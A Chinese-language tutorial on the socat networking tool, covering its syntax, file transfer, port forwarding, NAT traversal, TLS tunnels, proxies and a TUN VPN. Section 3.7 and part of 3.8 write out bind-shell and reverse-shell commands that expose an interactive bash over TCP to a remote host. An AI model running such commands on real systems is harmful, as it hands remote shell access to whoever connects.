1. socat 命令
Socat是Linux下的一个多功能的网络工具 , 名字来由是[Socket CAT]。其功能与有瑞士军刀之称的Netcat类似 , 可以看做是 Netcat 的加强版。
Socat的主要特点就是在两个数据流之间建立通道 , 且支持众多协议和链接方式。如 IP、TCP、 UDP、IPv6、PIPE、EXEC、System、Open、Proxy、Openssl、Socket 等。支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY , 并提供了分叉、记录和进程间通信的不同模式。
socat其实就是学习各类地址的定义及搭配方法
2. socat 基础语法
语法 :
socat [options] <address> <address>使用
socat需要提供两个地址 ,然后socat做的事情就是把这两个地址的数据流串起来,把第左边地址的输出数据传给右边,同时又把右边输出的数据传到左边。最简单的地址就是一个减号
-,代表标准输入输出,而在命令行输入:socat - - # 把标准输入和标准输出对接,输入什么显示什么选项
-V:显示版本信息及特性。-h|-?:显示帮助信息,包括选项(options)和地址(addresses)。-hh:与 -h 类似,但会列出所有通用的地址选项名称。-hhh:与 -hh 类似,但会列出所有可用的地址选项名称。-d[ddd]:增加详细程度(最多使用 4 次,建议使用 2 次)。-D:在循环之前分析文件描述符。-ly[facility]:将日志输出到 syslog 系统日志(默认使用守护进程)。-lf<logfile>:将日志输出到文件。-ls:将日志输出到标准错误 stderr(如果没有指定其他日志,则默认使用 stderr)。-lm[facility]:混合日志模式(初始化期间使用标准错误 stderr,之后使用系统日志 syslog)。-lp<progname>:设置用于日志记录的程序名称。-lu:使用微秒记录日志时间戳。-lh:在日志信息中添加主机名称。-v:详细的数据流量,文本格式。-x:详细数据流量,十六进制格式。-b<size_t>:设置数据缓冲区大小(默认 8192)。-s:马虎模式(出错时继续执行)。-t<timeout>:在关闭第二个频道之前等待几秒钟。-T<timeout>:总的不活动(inactivity )超时时间(以秒为单位)。-u:单向模式(从左到右)。第一个地址用于读,第二个地址用于写-U:单向模式(从右到左)。第一个地址用于写,第二个地址用于读-g:不检查选项组。-L <lockfile>:尝试获取锁,否则失败。-W <lockfile>:尝试获取锁,否则等待。-4:如果未明确指定版本,则首选 IPv4。prefer IPv4 if version is not explicitly specified-6:如果未明确指定版本,则首选 IPv6。prefer IPv6 if version is not explicitly specified
参数 :
address参数用于提供数据通道的必要信息,不同类型的数据通道有不同的地址参数。下列列出几种模式:-、STDIN、STDOUT、STDIO: 表示标准输入输出,可以就用一个横杠代替/var/log/syslog: 也可以时任意路径,如果时相对路径要使用./, 打开一个文件作为数据流TCP:127.0.0.1:1080: 建立一个TCP连接作为数据流,TCP也可以替换为UDPTCP-LISTEN:12345: 建立TCP监听端口,TCP也可以替换为UDP。EXEC:<command-line>:(EXEC:/bin/bash) 执行一个程序作为数据流CREATE:<filename>,OPEN:<filename>
3. socat 使用示例
3.1 文件操作
通过
socat读取文件#从绝对路径读取 $socat - /var/www/html/flag.php #从相对路径读取 $socat - ./flag.php写入文件
$ echo "This is Test" | socat - /tmp/hello.html
3.2 网络管理和通信
这个类似 nc 的连通性测试 , 两台主机到底网络能否联通:
socat - TCP-LISTEN:8080 # 终端1 上启动 server 监听 TCP
socat - TCP:localhost:8080 # 终端2 上启动 client 链接 TCP在终端1上输入第一行命令作为服务端 , 并在终端2上输入第二行命令作为客户端去链接。
联通后在终端2上随便输入点什么 , 就能显示在终端1上 , 反之亦然 , 因为两条命令都是把标准输入输出和网络串起来 , 因此把两个地址交换一下也是等价的:
socat TCP-LISTEN:8080 - # 终端1 上启动 server 监听 TCP
socat TCP:localhost:8080 - # 终端2 上启动 client 链接 TCP因为socat就是把左右两个地址的输入输出接在一起 , 因此颠倒左右两个地址影响不大 , 除非前面指明-u或者-U显示指明数据“从左到右”还是“从右到左”。
同netcat一样 , 如果客户端结束的话 , 服务端也会结束 , 但是socat还可以加额外参数:
socat - TCP-LISTEN:8080,fork,reuseaddr # 终端1 上启动 server
socat - TCP:localhost:8080 # 终端2 上启动 client服务端在TCP-LISTEN地址后面加了fork的参数后 , 就能同时应答多个链接过来的客户端 , 每个客户端会 fork一个进程出来进行通信 , 加上reuseaddr可以防止链接没断开完无法监听的问题。
刚才也说了使用socat主要就是学习描述各种地址,那么想测试UDP的话修改一下就行:
socat - UDP-LISTEN:8080 # 终端1 上启动 server 监听 UDP
socat - UDP:localhost:8080 # 终端2 上启动 client 链接 UDP连接远程端口
$ socat - TCP:192.168.1.252:3306监听一个新TCP端口
$ socat TCP-LISTEN:7000 -向TCP端口发送数据
$ echo "test" | socat - tcp-connect:127.0.0.1:7000监听一个UDP端口
$ socat udp-listen:23456 -向一个UDP端口发送数据
$ echo "test" | socat - udp-connect:127.0.0.1:23456
3.3 端口转发
在实际生产中我们经常会遇到到一个场景就是, 用一台机器作为转发服务器 , 连接AB两个网段 , 将转发服务器的某个端口上的流量转发到B网段的某台机器的某个端口 , 这样A网段的服务器就可以通过访问转发服务器上的端口访问到B网段的服务器端口。
这样的场景一般在和客户建立专线的连接时候经常用到 , 一般也可以采用iptables做转发 , 但是比较复杂。Socat 可以很轻松的完成这个功能,但是Socat不支持端口段转发 , 只适用于单端口或者少量端口。
转发TCP
监听192.168.1.252网卡的15672端口, 并将请求转发至172.17.0.15的15672端口
$ socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672参数说明
前面两个连续的
-d-d代表调试信息的输出级别。-lf /var/log/socat.log指定输出信息的文件保存位置。TCP4-LISTEN:15672在本地建立一个 TCP IPv4 协议的监听端口,也就是转发端口。这里是 15672,请根据实际情况改成你自己需要转发的端口。bind指定监听绑定的 IP 地址。reuseaddr:设置本地端口可重复使用。允许其他socket可以绑定到该地址,即使其中部分socket已经被部分socat 占用fork TCP4:172.17.0.15:15672指的是要转发到的服务器IP和端口 , 这里是172.17.0.15的15672端口。
转发UDP
转发
UDP和TCP类似,只要把TCP4改成UDP4即可socat -d -d -lf /var/log/socat.log UDP4-LISTEN:123,bind=192.168.1.252,reuseaddr,fork UDP4:172.17.0.15:123NAT映射
在一个
NAT网络环境中 , 也是可以通过socat将内部机器端口映射到公网上的。在外部公网机器上执行
socat tcp-listen:1234 tcp-listen:3389在内部私网机器上执行
socat tcp:outerhost:1234 tcp:192.168.1.34:3389这样 , 外部机器上的
3389就映射在内网192.168.1.34的3389端口上 , 实现私网穿透。
3.4 文件传递
文件传送
将文件
demo.tar.gz使用2000端口从192.168.1.252传到192.168.1.253, 文件传输完毕后会自动退出。在
192.168.1.252上执行socat -u open:demo.tar.gz tcp-listen:2000,reuseaddr在
192.168.1.253上执行socat -u tcp:192.168.1.252:2000 open:demo.tar.gz,create读写分流功能
socat具有一个独特的读写分流功能 , 比如: 可以实现一个假的Web Server, 客户端连过来之后就把read.html里面的内容传过去,同时把客户端的数据保存到write.txt里面。socat open:read.html\!\!open:write.txt,create,append tcp-listen:8000,reuseaddr,fork注意 :
!!符号用于合并读写流 , 前面的用于读 , 后面的用于写。由于!在Shell中是特殊字符,所以这里在命令行中使用 \ 对其进行了转义。
3.5 本地域套接字
监听一个Unix Socket。
socat unix-listen:/tmp/unix.socket -向本地Unix Socket 发送数据
echo "test" | socat - unix-connect:/tmp/unix.sock监听本地Unix Datagram Socket
socat unix-recvfrom:/tmp/unix.dg.sock -向本地Unix Datagram Socket 发送数据
echo "test" | socat - unix-sendto:/tmp/unix.dg.sock3.6 Openssl加密传输过程
假设有一个服务器主机 , 地址为 server.domain.org。 并且服务端程序使用4433端口。为了尽可能的简单 , 我们使用一个非常简单的服务功能 , 即服务端仅回显数据(echo) , 客户端只进行标准输入(stdio)。要进行Openssl加密数据传输 , 首先需要生成 Openssl 证书。
生成服务器证书
# 为服务端的证书取一个基本的名字。 $ FILENAME=server # 生成公钥私钥对。 $ openssl genrsa -out $FILENAME.key 1024 # 生成一个自签名的证书,会提示你输入国家代号、姓名等,或者按下回车键跳过输入提示。 $ openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt # 用刚生成的密钥文件和证书文件来生成PEM文件。 $ cat $FILENAME.key $FILENAME.crt >$FILENAME.pem服务端证书生成完成后 , 复制信任证书
server.crt到SSL客户端所在的主机上。生成客户端证书
# 为客户端证书取一个不同的文件名 $ FILENAME=client重复上述服务端生成证书的流程。然后复制
client.pem到 SSL 客户端主机 , 复制client.crt到服务端主机。至此完成了证书交换 , 服务端有server.pem、client.crt两个文件 , 客户端有client.pem、server.crt两个文件。
其次我们需要建立Openssl服务端 , 在服务端我们不再用tcp-listen(tcp-l), 而用openssl-listen(ssl-l) 。cert 参数告诉 Socat包含证书和私钥的文件 , cafile参数指向客户端的证书文件。如果客户端能提供相关联的私钥 , 我们则认为该连接是可靠的。
$ socat openssl-listen:4433,reuseaddr,cert=server.pem,cafile=client.crt echo运行这个命令后 , Socat会在4433端口监听 , 并要求客户端进行身份验证。
最后在客户端建立一个加密的链接 , 用openssl-connect或者ssl替换你的tcp-connect或tcp地址关键字 , 然后添加cert和 cafile选项。
$ socat stdio openssl-connect:server.domain.org:4433,cert=client.pem,cafile=server.crt
test
test这个命令用来建立一个到服务程序的安全的连接。如果服务端和客户端成功建立连接后 , 会回显在客户端输入的内容。
3.7 SHELL传递
3.7.1 建立正向SHELL
服务端
# 在服务端 7005 端口建立一个 Shell。 $ socat TCP-LISTEN:7005,fork,reuseaddr EXEC:/bin/bash,pty,stderr 或者 $ socat TCP-LISTEN:7005,fork,reuseaddr system:bash,pty,stderr客户端
# 连接到服务器的 7005 端口,即可获得一个 Shell。readline 是 GNU 的命令行编辑器,具有历史功能。 $ socat readline tcp:127.0.0.1:7005
3.7.2 反弹一个交互shell
当有主机连接服务端的7005端口时,将会发送客户端的SHELL 给服务器
服务器
$ socat -,raw,echo=0 tcp-listen:7005客户端
$ socat tcp-connect:192.168.1.252:7005 exec:'bash -li',pty,stderr,setsid,sigint,sane
3.7.3 终端发送到串口
$ socat READLINE,/dev/ttyS0,raw,echo=0,crnl3.8 远程登录、VPN
地址除了TCP和TCP-LISTEN外 , 另外一个重要的地址类型就是EXEC可以执行程序并且把输入输出和另外一个地址串起来:
socat TCP-LISTEN:8080,fork,reuseaddr EXEC:/usr/bin/bash # 服务端提供 shell
socat - TCP:localhost:8080 # 客户端登录完善一点可以加些参数:
socat TCP-LISTEN:8080,fork,reuseaddr EXEC:/usr/bin/bash,pty,stderr # 服务端
socat file:`tty`,raw,echo=0 TCP:localhost:8080 # 客户端这样可以把bash的标准错误重定向给标准输出 , 并且用终端模式运行。客户端可以像刚才那样登录 , 但是还可以更高级点 , 用tty的方式访问 , 这样基本就得到了一个全功能的交互式终端了 , 可以在里面运行vim, emacs之类的程序。
更高级一点,使用 root 运行:
socat TCP-LISTEN:23,reuseaddr,fork,crlf exec:/bin/login,pty,setsid,setpgid,stderr,ctty相当于在23端口启动了一个telnetd的服务 , 可以用telnet客户端来链接。
VPN
服务端 :
socat -d -d TCP-LISTEN:11443,reuseaddr TUN:192.168.255.1/24,up客户端 :
socat TCP:1.2.3.4:11443 TUN:192.168.255.2/24,up3.9 透明代理
第一句是用于 socks 代理的,第二句用于 HTTP 代理:
socat TCP-LISTEN:<本地端口>,reuseaddr,fork SOCKS:<代理服务器IP>:<远程地址>:<远程端口>,socksport=<代理服务器端口>
socat TCP-LISTEN:<本地端口>,reuseaddr,fork PROXY:<代理服务器IP>:<远程地址>:<远程端口>,proxyport=<代理服务器端口>他们都可以把本地端口的请求转换成使用代理服务器访问的请求,比如:
socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678那么链接本地的 1234 端口,相当于通过代理服务器 127.0.0.1:5678 去链接 google.com 的 80 端口了,这里用了 SOCKS4A ,后面 A 的意思是让代理服务器去解析域名。
3.10 其他功能
将本地的
UNIX域套接字转成TCP socket供局域网内的机器使用(当有多个TCP连上来那就fork一个去连接UNIX域套接字)socat TCP-LISTEN:12345,reuseaddr,fork UNIX-CONNECT:/data/deCOREIDPS/unix.domain将本地的
80端口转到远程服务器的 80 端口socat TCP-LISTEN:80,fork TCP:www.getiot.tech:80fork服务
将一个使用标准输入输出的单进程程序变为一个使用 fork 方法的多进程服务,非常方便。
$ socat TCP-LISTEN:1234,reuseaddr,fork EXEC:./helloworld不同设备的通信
将U盘进行网络共享
$ socat -d -d /dev/ttyUSB1,raw,nonblock,ignoreeof,cr,echo=0 TCP4-LISTEN:5555,reuseaddr让socat后台运行
默认情况下
Socat只在前台运行 , 如果要让Socat一直在后台运行 , 可以使用nohup命令来保证其在后台一直运行。$ nohup socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672 &
参考链接
socat 命令 – 人人都懂物联网 (getiot.tech)
socat 网络工具 - 凡人半睁眼 - 博客园 (cnblogs.com)
Socat 入门教程 - 奇妙的 Linux 世界 (hi-linux.com)